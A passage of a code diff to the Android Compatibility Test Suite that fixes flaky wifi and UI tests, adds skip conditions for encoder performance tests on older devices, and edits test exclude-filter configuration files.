mRadioButton); - verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, true); + // wait for the posted onClick() after the tap + verify(mockCheckedChangeListener, timeout(5000)).onCheckedChanged(mRadioButton, true); assertTrue(mRadioButton.isChecked()); // tap to not checked - this should leave the radio button in checked state diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java index 7fa51349553..30be41caae9 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java @@ -618,15 +618,17 @@ public class ConnectedNetworkScorerTest extends WifiJUnit4TestBase { // Restart wifi subsystem. mWifiManager.restartWifiSubsystem(); + + // wait for scorer to stop session due to network disconnection. + assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue(); + assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId); + // Wait for the device to connect back. PollingCheck.check( "Wifi not connected", WIFI_CONNECT_TIMEOUT_MILLIS * 2, () -> mWifiManager.getConnectionInfo().getNetworkId() != -1); - assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue(); - assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId); - // Followed by a new onStart() after the connection. // Note: There is a 5 second delay between stop/start when restartWifiSubsystem() is // invoked, so this should not be racy. diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java index 55b7366e039..271035fbec2 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java @@ -76,6 +76,7 @@ public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends Wifi private static boolean sWasVerboseLoggingEnabled; private static boolean sWasScanThrottleEnabled; private static boolean sWasWifiEnabled; + private static boolean sShouldRunTest = false; private Context mContext; private WifiManager mWifiManager; @@ -96,6 +97,7 @@ public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends Wifi // skip the test if WiFi is not supported or not automotive platform. // Don't use assumeTrue in @BeforeClass if (!WifiFeature.isWifiSupported(context)) return; + sShouldRunTest = true; WifiManager wifiManager = context.getSystemService(WifiManager.class); assertThat(wifiManager).isNotNull(); @@ -122,9 +124,9 @@ public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends Wifi @AfterClass public static void tearDownClass() throws Exception { - Context context = InstrumentationRegistry.getInstrumentation().getContext(); - if (!WifiFeature.isWifiSupported(context)) return; + if (!sShouldRunTest) return; + Context context = InstrumentationRegistry.getInstrumentation().getContext(); WifiManager wifiManager = context.getSystemService(WifiManager.class); assertThat(wifiManager).isNotNull(); @@ -138,6 +140,7 @@ public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends Wifi @Before public void setUp() throws Exception { + assumeTrue(sShouldRunTest); mContext = InstrumentationRegistry.getInstrumentation().getContext(); mWifiManager = mContext.getSystemService(WifiManager.class); mConnectivityManager = mContext.getSystemService(ConnectivityManager.class); @@ -199,6 +202,7 @@ public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends Wifi @After public void tearDown() throws Exception { + if (!sShouldRunTest) return; // Re-enable networks. ShellIdentityUtils.invokeWithShellPermissions( () -> { diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java index b797882412f..d2442d0caee 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java @@ -159,10 +159,10 @@ public class WifiManagerTest extends WifiJUnit3TestBase { private static final String TAG = "WifiManagerTest"; private static final String SSID1 = "\"WifiManagerTest\""; - // A full single scan duration is about 6-7 seconds if country code is set - // to US. If country code is set to world mode (00), we would expect a scan - // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here. - private static final int SCAN_TEST_WAIT_DURATION_MS = 9000; + // A full single scan duration is typically about 6-7 seconds, but + // depending on devices it takes more time (9-11 seconds). For a + // safety margin, the test waits for 15 seconds. + private static final int SCAN_TEST_WAIT_DURATION_MS = 15_000; private static final int TEST_WAIT_DURATION_MS = 10_000; private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000; private static final int WAIT_MSEC = 60; diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java index 9eea9e53655..600a545f40f 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java @@ -184,6 +184,7 @@ public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase { private static boolean sWasVerboseLoggingEnabled; private static boolean sWasScanThrottleEnabled; private static WifiConfiguration sTestNetwork; + private static boolean sShouldRunTest = false; private Context mContext; private WifiManager mWifiManager; @@ -199,6 +200,7 @@ public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase { Context context = InstrumentationRegistry.getInstrumentation().getContext(); // skip the test if WiFi is not supported if (!WifiFeature.isWifiSupported(context)) return; + sShouldRunTest = true; WifiManager wifiManager = context.getSystemService(WifiManager.class); assertThat(wifiManager).isNotNull(); @@ -251,9 +253,9 @@ public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase { @AfterClass public static void tearDownClass() throws Exception { - Context context = InstrumentationRegistry.getInstrumentation().getContext(); - if (!WifiFeature.isWifiSupported(context)) return; + if (!sShouldRunTest) return; + Context context = InstrumentationRegistry.getInstrumentation().getContext(); WifiManager wifiManager = context.getSystemService(WifiManager.class); assertThat(wifiManager).isNotNull(); @@ -272,6 +274,7 @@ public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase { @Before public void setUp() throws Exception { + assumeTrue(sShouldRunTest); mContext = InstrumentationRegistry.getInstrumentation().getContext(); mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE); mConnectivityManager = mContext.getSystemService(ConnectivityManager.class); @@ -302,6 +305,7 @@ public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase { @After public void tearDown() throws Exception { + if (!sShouldRunTest) return; // If there is failure, ensure we unregister the previous request. if (mNrNetworkCallback != null) { mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback); diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java index 5d80467aff8..5e54e9ba120 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java @@ -97,6 +97,7 @@ public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase { private static boolean sWasVerboseLoggingEnabled; private static boolean sWasScanThrottleEnabled; private static boolean sWasWifiEnabled; + private static boolean sShouldRunTest = false; private static Context sContext; private static WifiManager sWifiManager; @@ -120,6 +121,7 @@ public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase { if (!sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION)) return; // skip if the location is disabled if (!sContext.getSystemService(LocationManager.class).isLocationEnabled()) return; + sShouldRunTest = true; sWifiManager = sContext.getSystemService(WifiManager.class); assertThat(sWifiManager).isNotNull(); @@ -172,7 +174,7 @@ public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase { @AfterClass public static void tearDownClass() throws Exception { - if (!WifiFeature.isWifiSupported(sContext)) return; + if (!sShouldRunTest) return; ShellIdentityUtils.invokeWithShellPermissions( () -> sWifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled)); @@ -192,6 +194,7 @@ public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase { @Before public void setUp() throws Exception { + assumeTrue(sShouldRunTest); mExecutorService = Executors.newSingleThreadScheduledExecutor(); // turn screen on sTestHelper.turnScreenOn(); @@ -215,6 +218,7 @@ public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase { @After public void tearDown() throws Exception { + if (!sShouldRunTest) return; // Release the requests after the test. if (sNsNetworkCallback != null) { sConnectivityManager.unregisterNetworkCallback(sNsNetworkCallback); diff --git a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java index 647effe56df..d95e06956e3 100644 --- a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java +++ b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java @@ -28,6 +28,7 @@ import java.util.Map; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; class CodecEncoderPerformanceTestBase extends CodecPerformanceTestBase { private static final String LOG_TAG = CodecEncoderPerformanceTest.class.getSimpleName(); @@ -160,6 +161,14 @@ class CodecEncoderPerformanceTestBase extends CodecPerformanceTestBase { public void encode() throws IOException { MediaFormat format = setUpDecoderInput(); assertNotNull("Video track not present in " + mTestFile, format); + + if (EXCLUDE_ENCODER_MAX_RESOLUTION) { + int maxFrameSize = getMaxFrameSize(mEncoderName, mEncoderMime); + assumeTrue(mWidth + "x" + mHeight + " is skipped as it not less than half of " + + "maximum frame size: " + maxFrameSize + " supported by the encoder.", + mWidth * mHeight < maxFrameSize / 2); + } + setUpFormats(format); mDecoder = MediaCodec.createByCodecName(mDecoderName); mEncoder = MediaCodec.createByCodecName(mEncoderName); diff --git a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java index 01670342f61..5a34fce371b 100644 --- a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java +++ b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java @@ -50,6 +50,14 @@ class CodecPerformanceTestBase { // passing the test static final double FPS_TOLERANCE_FACTOR; static final boolean IS_AT_LEAST_VNDK_S; + + static final int DEVICE_INITIAL_SDK; + + // Some older devices can not support concurrent instances of both decoder and encoder + // at max resolution. To handle such cases, this test is limited to test the + // resolutions that are less than half of max supported frame sizes of encoder. + static final boolean EXCLUDE_ENCODER_MAX_RESOLUTION; + static final String mInputPrefix = WorkDir.getMediaDirString(); ArrayList<MediaCodec.BufferInfo> mBufferInfos; @@ -83,18 +91,30 @@ class CodecPerformanceTestBase { // os.Build.VERSION.DEVICE_INITIAL_SDK_INT can be used here, but it was called // os.Build.VERSION.FIRST_SDK_INT in Android R and below. Using DEVICE_INITIAL_SDK_INT // will mean that the tests built in Android S can't be run on Android R and below. - int deviceInitialSdk = SystemProperties.getInt("ro.product.first_api_level", 0); + DEVICE_INITIAL_SDK = SystemProperties.getInt("ro.product.first_api_level", 0); // fps tolerance factor is kept quite low for devices launched on Android R and lower - FPS_TOLERANCE_FACTOR = deviceInitialSdk <= Build.VERSION_CODES.R ? 0.67 : 0.95; + FPS_TOLERANCE_FACTOR = DEVICE_INITIAL_SDK <= Build.VERSION_CODES.R ? 0.67 : 0.95; IS_AT_LEAST_VNDK_S = SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.R; + + // Encoders on devices launched on Android Q and lower aren't tested at maximum resolution + EXCLUDE_ENCODER_MAX_RESOLUTION = DEVICE_INITIAL_SDK <= Build.VERSION_CODES.Q; } @Before public void prologue() { assumeTrue("For VNDK R and below, operating rate <= 0 isn't tested", IS_AT_LEAST_VNDK_S || mMaxOpRateScalingFactor > 0.0); + + assumeTrue("For devices launched on Android P and below, operating rate tests are disabled", + DEVICE_INITIAL_SDK > Build.VERSION_CODES.P); + + if (DEVICE_INITIAL_SDK <= Build.VERSION_CODES.Q) { + assumeTrue("For devices launched with Android Q and below, operating rate tests are " + + "limited to operating rate scaling factor > 0.0 and <= 1.25", + mMaxOpRateScalingFactor > 0.0 && mMaxOpRateScalingFactor <= 1.25); + } } public CodecPerformanceTestBase(String decoderName, String testFile, int keyPriority, @@ -283,6 +303,18 @@ class CodecPerformanceTestBase { return minComplexity; } + static int getMaxFrameSize(String codecName, String mime) throws IOException { + MediaCodec codec = MediaCodec.createByCodecName(codecName); + MediaCodecInfo.CodecCapabilities codecCapabilities = + codec.getCodecInfo().getCapabilitiesForType(mime); + MediaCodecInfo.VideoCapabilities vc = codecCapabilities.getVideoCapabilities(); + Range<Integer> heights = vc.getSupportedHeights(); + Range<Integer> widths = vc.getSupportedWidthsFor(heights.getUpper()); + int maxFrameSize = heights.getUpper() * widths.getUpper(); + codec.release(); + return maxFrameSize; + } + void enqueueDecoderInput(int bufferIndex) { MediaCodec.BufferInfo info = mBufferInfos.get(mSampleIndex++); if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) { diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml index 1b6b9bbc9a5..250fba80eb8 100644 --- a/tools/cts-tradefed/res/config/cts-foldable.xml +++ b/tools/cts-tradefed/res/config/cts-foldable.xml @@ -26,5 +26,8 @@ <!-- b/178344549: CtsCameraTestCases failures due to covered lenses in folded mode--> <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" /> <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" /> + <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal + launcher always visible on one of the screens. --> + <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" /> </configuration> diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml index 401fdd63223..ba0c0d3fb28 100644 --- a/tools/cts-tradefed/res/config/cts-known-failures.xml +++ b/tools/cts-tradefed/res/config/cts-known-failures.xml @@ -237,9 +237,6 @@ <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" /> <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases[instant] android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" /> - <!-- b/195580880 --> - <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PkgInstallSignatureVerificationTest#testInstallV4UpdateAfterRotation" /> - <!-- b/194293021 --> <option name="compatibility:exclude-filter" value="CtsPrintTestCases" /> <option name="compatibility:exclude-filter" value="CtsPrintTestCases[instant]" /> diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml index 0dd958fe888..76e93f3c19a 100644 --- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml +++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml @@ -52,7 +52,6 @@ <option name="compatibility:exclude-filter" value="CtsBackupHostTestCases" /> <option name="compatibility:exclude-filter" value="CtsBackupTestCases" /> <option name="compatibility:exclude-filter" value="CtsBionicAppTestCases" /> - <option name="compatibility:exclude-filter" value="CtsBionicTestCases" /> <option name="compatibility:exclude-filter" value="CtsBlobStoreHostTestCases" /> <option name="compatibility:exclude-filter" value="CtsBlobStoreHostTestHelper" /> <option name="compatibility:exclude-filter" value="CtsBlobStoreTestCases" /> |